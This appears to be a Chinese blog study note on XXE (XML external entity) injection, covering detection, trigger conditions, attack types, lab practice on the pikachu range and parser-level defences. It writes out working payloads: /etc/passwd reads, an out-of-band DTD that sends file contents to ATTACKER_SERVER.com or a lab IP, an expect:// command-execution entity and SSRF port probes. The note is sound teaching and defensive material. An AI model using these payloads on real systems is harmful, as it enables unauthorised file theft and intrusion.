No.18 笔记 | XXE(XML 外部实体注入)漏洞原理、分类、利用及防御整理

一、XXE 漏洞概述

(一)定义

XXE(XML 外部实体注入)漏洞源于 XML 解析器对外部实体的不当处理,攻击者借此注入恶意 XML 实体,可实现敏感文件读取、远程命令执行和内网渗透等危险操作。

(二)识别方法

  • 请求类型分析
    • 重点关注 POST 请求,多数 XXE 漏洞涉及 XML 数据的 POST 提交,也需留意其他可能包含 XML 数据的请求类型。
  • MIME 类型与请求头检查
    • 关注 application/xml、text/xml 等 XML 相关 MIME 类型,注意 Content - Type 头,必要时可修改为 application/xml 进行测试。
  • XML 标签识别
    • 寻找明显的自定义 XML 标签及分析 XML 结构,以确定可能的薄弱环节。

二、触发条件

(一)版本因素

  • libxml < 2.9.0 默认开启外部实体解析。
  • PHP(libxml < 2.9.1)中 libxml_disable_entity_loader 设置为 FALSE 时可能启用外部实体解析。

(二)配置因素

系统管理员可能手动开启外部实体解析,需采取额外安全措施。

三、攻击分类与利用

(一)攻击类型

  • 显式攻击
    • 特征:攻击者直接从应用程序响应获取外部实体内容。
    • 优势:直接、快速,便于验证利用,适合初步探测。
    • 局限:在现代应用中较少见,因开发者已意识到其危险性。
  • 盲攻击(Blind XXE)
    • 特征:应用程序不直接返回外部实体内容,增加攻击难度与隐蔽性。
    • 高级技巧:利用参数实体读取本地文件,将内容作为 URL 参数发送到攻击者控制的服务器。
    • 现实应用:多数 XXE 漏洞为此类型,需复杂利用手法。
    • 关键要求:需具有公网 IP 的服务器接收记录数据,采用带外数据通道(OOB)技术实现隐蔽传输收集。

(二)利用方式

  • 读取任意文件
    • 有回显情况
php 复制代码
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml, null, LIBXML_NOENT);
print_r($data);
?>

通过访问相关页面可读取 /etc/passwd 文件内容。

  • 无回显情况(利用 OOB)
    • 攻击者将.dtd 文件托管在 VPS 上。
XML 复制代码
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKER_SERVER.com/xxe_file.dtd">
<catalog>
  <core id="test101">
    <author>John Doe</author>
    <title>I love XML</title>
    <category>Computers</category>
    <price>9.99</price>
    <date>2018-10-01</date>
    <description>&xxe;</description>
  </core>
</catalog>

.dtd 文件内容可能为:

XML 复制代码
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKER_SERVER.com/?%file;'>">
%all;

易受攻击的服务器获取.dtd 文件并执行命令,攻击者从服务器日志查看文件内容。

  • 命令执行
    在 PHP 环境下,需安装 expect 扩展(默认未安装)。
php 复制代码
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "expect://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml, null, LIBXML_NOENT);
print_r($data);
?>
  • 内网探测 / SSRF
    利用 http:// 协议发起 HTTP 请求探查内网,如端口扫描:
XML 复制代码
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">]>
<catalog>
  <core id="test101">
    <author>John Doe</author>
    <title>I love XML</title>
    <category>Computers</category>
    <price>9.99</price>
    <date>2018-10-01</date>
    <description>&xxe;</description>
  </core>
</catalog>

根据响应时间 / 长度判断端口是否开启。

  • 其他攻击方式(如 DDoS)
    如 Billion Laughs 攻击,通过构造恶意 XML 实体文件耗尽内存。

四、漏洞练习

(一)pikachu 靶场

  • 有回显情况
XML 复制代码
<?xml version="1.0"?> 
<!DOCTYPE foo [ 
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]> 
<foo>&xxe;</foo>
  • 无回显情况
    • 注释回显代码构造无回显环境。
    • 使用 dnslog 判断漏洞,修改 payload:
XML 复制代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://h7yyv7.dnslog.cn">
]>
<foo>&xxe;</foo>

确认漏洞后,用 VPS(如 Kali)创建 evil.dtd 文件:

XML 复制代码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///F:/xxe.txt">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.31.229?c=%file;'>">

在 pikachu 中使用 payload:

XML 复制代码
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.31.229/evil.dtd">
%remote;%int;%send;
]>

(二)CTF 场景

  1. 观察 POST 包(可能为 application/json)内容。
  2. 更改请求包类型为 application/xml 测试,尝试内部实体参数的 XXE payload,可能成功返回数据。

五、漏洞防御

  1. 升级版本
    libxml 2.9.1 及以后默认不解析外部实体。
  2. 禁用外部实体方法
  • PHP:libxml_disable_entity_loader(true);
  • Java
java 复制代码
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  • Python
python 复制代码
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))

过滤 XML 数据

过滤关键词:<!DOCTYPE、<!ENTITY、SYSTEM 和 PUBLIC。

相关推荐
星轨初途1 小时前
数据结构排序算法详解(5)——非比较函数:计数排序(鸽巢原理)及排序算法复杂度和稳定性分析
c语言·开发语言·数据结构·经验分享·笔记·算法·排序算法
QT 小鲜肉2 小时前
【孙子兵法之上篇】001. 孙子兵法·计篇深度解析与现代应用
笔记·读书·孙子兵法
火柴就是我2 小时前
从头写一个自己的app
android·前端·flutter
lichong9513 小时前
XLog debug 开启打印日志,release 关闭打印日志
android·java·前端
用户69371750013844 小时前
14.Kotlin 类:类的形态(一):抽象类 (Abstract Class)
android·后端·kotlin
火柴就是我4 小时前
NekoBoxForAndroid 编译libcore.aar
android
love530love4 小时前
【笔记】ComfUI RIFEInterpolation 节点缺失问题(cupy CUDA 安装)解决方案
人工智能·windows·笔记·python·插件·comfyui
愚戏师4 小时前
MySQL 数据导出
数据库·笔记·mysql
摇滚侠5 小时前
2025最新 SpringCloud 教程,教程简介,笔记01
笔记·spring cloud
Kaede65 小时前
MySQL中如何使用命令行修改root密码
android·mysql·adb